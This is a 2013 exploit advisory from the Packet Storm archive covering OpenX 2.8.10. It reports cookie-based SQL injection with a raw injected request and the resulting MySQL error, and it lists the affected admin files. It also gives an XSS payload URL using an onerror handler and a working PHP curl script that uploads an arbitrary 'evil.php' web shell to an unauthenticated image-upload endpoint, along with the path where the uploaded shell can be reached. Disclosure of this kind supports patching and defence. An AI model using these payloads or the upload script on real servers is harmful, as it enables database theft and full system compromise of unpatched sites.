what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

OpenX 2.8.10 Cross Site Scripting / SQL Injection

OpenX 2.8.10 Cross Site Scripting / SQL Injection
Posted Aug 15, 2013
Authored by Esac

OpenX version 2.8.10 suffers from cross site scripting and remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, xss, sql injection
SHA-256 | e63af2e9b896b7c8eb47ee1b85fb36653f9042c5e5e8c8e23dcad89dcee326f8

OpenX 2.8.10 Cross Site Scripting / SQL Injection

Change Mirror Download
###########################################################################################
# Exploit Title: OpenX 2.8.10 - Multiples Vulnerabilites
#Product: OpenX
#Vulnerable Version(s): 2.8.10 and probably prior
#Tested Version: 2.8.10
#Official site: http://www.openx.com
#Risk Level: High
#Exploit Author: Esac
#Last Checked: 12/08/2013
###########################################################################################


+----------+
| OVERVIEW |
+----------+

OpenX Source is open-source advertising server that is licensed under the GNU General Public License. It features an integrated banner management interface and tracking system for gathering statistics.
The software enables web site administrators to rotate banners from both in-house advertisement campaigns as well as from paid or third-party sources, such as Google's AdSense. OpenX provides standard banner rotation, click tracking, zone-based ad selection, zone-based campaign targeting, direct ad selection, ad targeting (per browser, domain, language, etc.), ad capping and support for Adobe Flash banners.


+-----------------------------------------------------------------------------------+

+----------------------------+
| Cookie-based SQL Injection |
+----------------------------+

Openx is possibly vulnerable to SQL Injection attacks and Cookie Poisoning Attack


+------------------+
| affected files |
+------------------+

http://localhost/pub/www/admin/index.php
http://localhost/pub/www/admin/password-recovery.php
http://localhost/pub/www/admin/plugins/openXWorkflow/public/
http://localhost/pub/www/admin/plugins/oxMarket/market-campaign-acl.php
http://localhost/pub/www/admin/plugins/oxMarket/market-campaign-edit.php
http://localhost/pub/www/admin/plugins/oxMarket/market-campaigns-settings-list.php
http://localhost/pub/www/admin/plugins/oxMarket/market-campaigns-settings.php
http://localhost/pub/www/admin/plugins/oxMarket/market-common.php
http://localhost/pub/www/admin/plugins/oxMarket/market-confirm.php
http://localhost/pub/www/admin/plugins/oxMarket/market-dismiss.php
http://localhost/pub/www/admin/plugins/oxMarket/market-inactive.php
http://localhost/pub/www/admin/plugins/oxMarket/market-include.php
http://localhost/pub/www/admin/plugins/oxMarket/market-index.php
http://localhost/pub/www/admin/plugins/oxMarket/market-info.php
http://localhost/pub/www/admin/plugins/oxMarket/market-preferences-website.php
http://localhost/pub/www/admin/plugins/oxMarket/market-quality-tool.php
http://localhost/pub/www/admin/plugins/oxMarket/market-run-registerwebsites.php
http://localhost/pub/www/admin/plugins/oxMarket/market-signup.php
http://localhost/pub/www/admin/plugins/oxMarket/market-sso-user-exists.php
http://localhost/pub/www/admin/plugins/videoReport/players.php
http://localhost/pub/www/admin/plugins/videoReport/stats-video.php
http://localhost/pub/www/admin/plugins/videoReport/zone-invocation-code.php



+------------------+
| PROOF OF CONCEPT |
+------------------+

the vuln affects Cookie input sessionID , when we set it to 1'" we have an error msg :
[Native message: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"'' at line 6]


+---------------------+
| HTTP HEADERS REQUET |
+---------------------+


Host: http://localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: sessionID=1'"; 8812c36aa5ae336c2a77bf63211d899a=9VYridsNeoI=LAdQS8hhJ9E=BilZkQU1KHc=4Kb906btH5s=dZpwZtUj098=gcaHLE4lD7k=MMlfZM1j50o=Qy7lYX6jVNA=KalE2nL07lA=oZe8ZoVDb+c=ffTaZI1jYzk=4Dec1TnHYTs=ukkJLma0ylU=aRciEA3rgJM=U9LoRAcfT8k=000115
Connection: keep-alive

+-----------------------+
| HTTP HEADERS RESPONSE |
+-----------------------+

Response
HTTP/1.1 200 OK
Date: Sun, 12 Aug 2013 14:21:49 GMT
Server: Apache/2.2.24 (Unix) mod_ssl/2.2.24 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_jk/1.2.35 PHP/5.2.17
X-Powered-By: PHP/5.2.17
Content-Length: 5163
Keep-Alive: timeout=5, max=80
Connection: Keep-Alive
Content-Type: text/html


+--------------------------------+
The impact of this vulnerability |
+--------------------------------+

An attacker may execute arbitrary SQL statements on the vulnerable system. This may compromise the integrity of your database and/or expose sensitive information.

+--------------------------------------------------------------------------------------+

+----------+
XSS Attack |
+----------+

http://localhost/pub/www/admin/plugins/videoReport/lib/ofc2/ofc_upload_image.php?name=<video><source onerror="javascript:prompt(007)">

+--------------------------------------------------------------------------------------+

+----------------------------+
Remote Arbitrary File Upload |
+----------------------------+

An attacker can upload arbitrary scripts on the web server and execute them. This can lead to a full system compromise.

affected file : /pub/www/admin/plugins/videoReport/lib/ofc2/ofc_upload_image.php

+------------+
Exploitation |
+------------+

<?php
$target_url = 'http://localhost/pub/www/admin/plugins/videoReport/lib/ofc2/ofc_upload_image.php';
$file_name_with_full_path = realpath('real path of evil.php');
$post = array('extra_info' => '123456','Filedata'=>'@'.$file_name_with_full_path);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$target_url);
curl_setopt($ch, CURLOPT_POST,1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
$result=curl_exec($ch);
curl_close ($ch);
echo '<br>'.$result;
?>

after uploading the evil file , u gonna find it on : http://localhost/pub/www/admin/plugins/videoReport/lib/ofc2/tmp-upload-images/evil.php

+--------------------------------------------------------------------------------------+

==> Made In Moroco <==
Greetz : White Tarbouch TEAM - Cobra
./Issam IEBOUBEN Aka Esac



Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close